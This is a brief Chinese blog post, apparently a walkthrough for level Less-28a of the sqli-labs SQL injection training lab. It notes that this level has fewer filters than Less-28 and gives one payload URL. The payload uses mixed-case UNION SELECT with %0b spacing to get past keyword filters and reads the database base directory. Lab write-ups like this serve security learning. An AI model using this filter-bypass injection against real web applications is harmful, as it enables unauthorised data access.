Less-28
这一关于之前的28关基本上一致，只不过在过滤条件部分少了几个，但是这并不影响我们的注入，对于注入原理还是不变的，下面直接给出payload，因为这几关的相似度太大了，而且只要明白 一关的过关方法，那么其他关的过关方法也就知道了。
payload：
http://192.168.11.136/sqli-labs/Less-28a?id=-1%27)unIon%0bsElect%0b1,@@basedir,3||(%271
sqli-labs————less-28a
本文介绍如何通过调整过滤条件进行SQL注入攻击，在Less-28关中使用特定payload实现数据查询。虽然某些过滤条件被移除，但攻击原理不变。
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
